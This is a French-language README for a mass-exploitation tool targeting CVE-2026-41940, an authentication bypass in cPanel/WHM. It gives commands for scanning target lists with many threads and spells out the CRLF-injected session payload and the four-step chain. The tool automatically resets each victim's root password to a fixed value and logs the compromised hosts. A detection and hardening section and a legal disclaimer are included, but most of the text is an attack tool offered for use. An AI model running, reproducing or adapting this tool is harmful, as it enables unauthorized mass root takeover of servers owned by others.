
Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse.
CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans WHM/cPanel qui permet aux attaquants de contourner l'authentification et d'obtenir un accès root à un serveur sans identifiants valides. La vulnérabilité exploite une injection CRLF dans le mécanisme de gestion de session pour injecter des paramètres de session malveillants.
Cet outil offre des capacités d'exploitation de masse avec prise en charge du multithreading pour tester plusieurs cibles simultanément, avec une détection intelligente du succès et un filtrage automatique des cibles invalides.
| Fonctionnalité | Description |
|---|
| ✅ Exploitation de masse | Scanne et exploite plusieurs cibles à partir d'un fichier de liste |
| 🚀 Multithreading | Nombre de threads configurable pour un scan plus rapide (défaut : 15) |
| 🔐 Changement automatique de mot de passe | Change le mot de passe root en Jenderal92 lors d'un exploit réussi |
| 🛡️ Détection intelligente de succès | Détecte automatiquement divers formats de réponse de l'API WHM |
| ⚠️ Filtrage des erreurs de licence | Exclut les cibles avec des erreurs de licence invalide/illisible |
| 📝 Sortie structurée | Enregistre uniquement les succès confirmés au format `domain:port |
| 🛡️ Prise en charge SSL/TLS | Gère automatiquement les certificats auto-signés |
| 🔄 Gestion de session | Extraction automatique de session, injection de cookies et gestion des jetons |
| ⏱️ Contrôle du délai d'attente | Délai d'attente de connexion configurable (défaut : 15 secondes) |
| 🔍 Vérification pré-connexion | Vérifie la disponibilité du port avant la tentative d'exploitation |
| 📊 Progression en temps réel | Affiche la progression détaillée de chaque étape d'exploitation |
pip install requests urllib3 futures
Ou utilisez requirements.txt :
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
Créez un fichier targets.txt avec une cible par ligne :
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Remarque : Le port
2087est le port WHM par défaut. S'il n'est pas spécifié, le port 2087 sera utilisé automatiquement. Le préfixe HTTP/HTTPS sera ajouté automatiquement s'il manque.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argument | Description | Défaut | Requis |
|---|---|---|---|
list_file | Fichier contenant la liste des cibles (une par ligne) | - | ✅ Oui |
--threads | Nombre de threads simultanés | 15 | ❌ Non |
--hostname | Remplace l'en-tête Host pour toutes les cibles | Détection automatique | ❌ Non |
--timeout | Délai d'attente de connexion en secondes | 15 | ❌ Non |
res.txt)Seuls les exploits réussis confirmés sont enregistrés. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou des problèmes de connexion sont automatiquement exclues.
Format :
domain:port|root|Jenderal92
Exemple de sortie :
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Les cibles suivantes ne seront PAS enregistrées dans res.txt :
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
L'exploit se compose de 4 étapes principales avec vérification intelligente :
[1] minting a preauth session...
/login/?login_only=1 avec des identifiants invalideswhostmgrsession dans la réponse du serveur,<obhex>[2] sending the CRLF injection...
Authorization: Basic contenant une charge utile malveillanteroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) injectent de faux paramètres de sessionLocation contenant le cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts avec le cookie manipulédo_token_denied dans WHM[4] verifying we're WHM root...
/json-api/version pour vérifier l'accès au niveau root/json-api/passwd pour changer le mot de passe root en Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (versions plus anciennes){"result": [{"status": 1}]} (format hérité)L'outil exclut automatiquement :
{"status": 0, "statusmsg": "Cannot Read License File"}| Indicateur | Description |
|---|---|
Cookie whostmgrsession anormal | Schémas de cookie inhabituels sans authentification appropriée |
| Caractères CRLF dans les en-têtes | Détection de séquences \r\n dans les en-têtes HTTP |
Accès à /scripts2/listaccts | Accès non autorisé à ce chemin |
Mot de passe Jenderal92 | Connexion réussie utilisant ce mot de passe spécifique |
Fuite du jeton cpsess | Jeton de sécurité visible dans l'en-tête Location |
| Échec de connexion suivi d'un succès | POST vers /login/?login_only=1 avec un mauvais mot de passe, puis accès privilégié |
# WHM access log
/usr/local/cpanel/logs/access_log
# cPanel error log
/usr/local/cpanel/logs/error_log
# Authentication log
/var/log/secure
# System messages
/var/log/messages
Mettez à jour WHM/cPanel vers la dernière version corrigée immédiatement
/usr/local/cpanel/scripts/upcp
Activez l'authentification à deux facteurs (2FA) pour tous les comptes, en particulier root
WHM → Security Center → Two-Factor Authentication
Restreignez l'accès à WHM avec une liste blanche d'adresses IP
WHM → Security Center → Host Access Control
Surveillez régulièrement les journaux d'accès pour détecter des schémas suspects
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Changez tous les mots de passe si une compromission est suspectée
Utilisez des règles de pare-feu pour restreindre l'accès au port 2087
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP
Implémentez des règles WAF pour détecter les tentatives d'injection CRLF
Audits de sécurité réguliers des installations WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15
Problème : Utilisation de Python 3 au lieu de Python 2.7
Solution : Cet outil nécessite spécifiquement Python 2.7.
# Check Python version
python2 --version # Must show Python 2.7.x
# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt
Problème : La cible est hors ligne ou un pare-feu bloque
Solution :
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problème : La cible est peut-être corrigée ou n'exécute pas WHM
Solution :
https://target:2087Solution : Ajustez le nombre de threads et le délai d'attente
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Remarque : Les cibles affichant Cannot Read License File sont automatiquement exclues de res.txt. C'est un comportement attendu car les changements de mot de passe ne fonctionnent pas sur les installations WHM sans licence.
Vous pouvez modifier PAYLOAD_B64 pour des paramètres de session personnalisés :
import base64
# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Changez le mot de passe dans la fonction do_passwd() (ligne ~280) :
{"user": "root", "password": "YourCustomPassword123"}
La fonction do_passwd() peut être modifiée pour détecter des formats de réponse WHM personnalisés :
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
Les contributions sont les bienvenues ! Veuillez suivre ces étapes :
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si cet outil est utile pour vos recherches en sécurité, veuillez lui attribuer une ⭐ sur GitHub !
Q : Cet outil peut-il être détecté ?
R : Oui, cet outil laisse des traces dans les journaux d'accès WHM/cPanel. Utilisez-le uniquement avec une autorisation appropriée et pour des tests de sécurité légitimes.
Q : Combien de temps prend l'exploitation ?
R : Environ 5 à 15 secondes par cible selon la latence du réseau et le temps de réponse du serveur.
Q : Nécessite-t-il un accès root préalable ?
R : Non, cet exploit fonctionne entièrement depuis l'extérieur sans aucune authentification.
Q : Cet outil fonctionne-t-il sous Windows ?
R : Oui, tant que Python 2.7 est correctement installé et configuré.
Q : Ma cible utilise un port différent, que dois-je faire ?
R : Spécifiez le port dans l'URL de la cible : https://target.com:2083 pour cPanel ou tout port personnalisé.
Q : Pourquoi certaines cibles ne sont-elles pas enregistrées dans res.txt alors que l'exploit a fonctionné ?
R : L'outil n'enregistre que les cibles dont le mot de passe a été changé avec succès. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou d'autres problèmes sont exclues même si le contournement d'authentification a réussi.
Q : Quelles versions de WHM/cPanel sont vulnérables ?
R : Les versions antérieures au correctif CVE-2026-41940. Consultez le journal des modifications de cPanel pour connaître la version corrigée.
Jenderal92 lors d'une exploitation réussie2087 (utilisé automatiquement s'il n'est pas spécifié)res.txtres.txt (les anciens résultats sont supprimés)
Créé à des fins de recherche en sécurité éducative
Utilisez de manière responsable, restez légal, restez éthique
⚠️ AVERTISSEMENT CRITIQUE !
Cet outil a été créé exclusivement pour :
- ✅ Des fins éducatives et de recherche en sécurité
- ✅ Des tests d'intrusion autorisés
- ✅ Des évaluations de sécurité sur des systèmes que vous possédez
- ✅ La vérification de vulnérabilités avec autorisation écrite
Utilisations STRICTEMENT INTERDITES :
- ❌ L'accès à des systèmes sans autorisation explicite
- ❌ Toute forme d'activités illégales
- ❌ Des actions malveillantes ou causant des dommages aux systèmes
- ❌ L'accès non autorisé à tout système informatique
- ❌ La violation de toute loi locale, nationale ou fédérale
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences résultant de l'utilisation de cet outil. En utilisant cet outil, vous acceptez de l'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Si vous continuez, vous reconnaissez que :
- Vous avez l'autorisation de tester les systèmes cibles
- Vous comprenez les implications juridiques d'un accès non autorisé
- Vous vous conformerez à toutes les lois et réglementations applicables
- Les auteurs ne sont pas responsables de vos actions
Pour plus d'avertissements, vous pouvez consulter la clause de non-responsabilité sur la page de Jenderal92. Vous pouvez la vérifier ICI !!!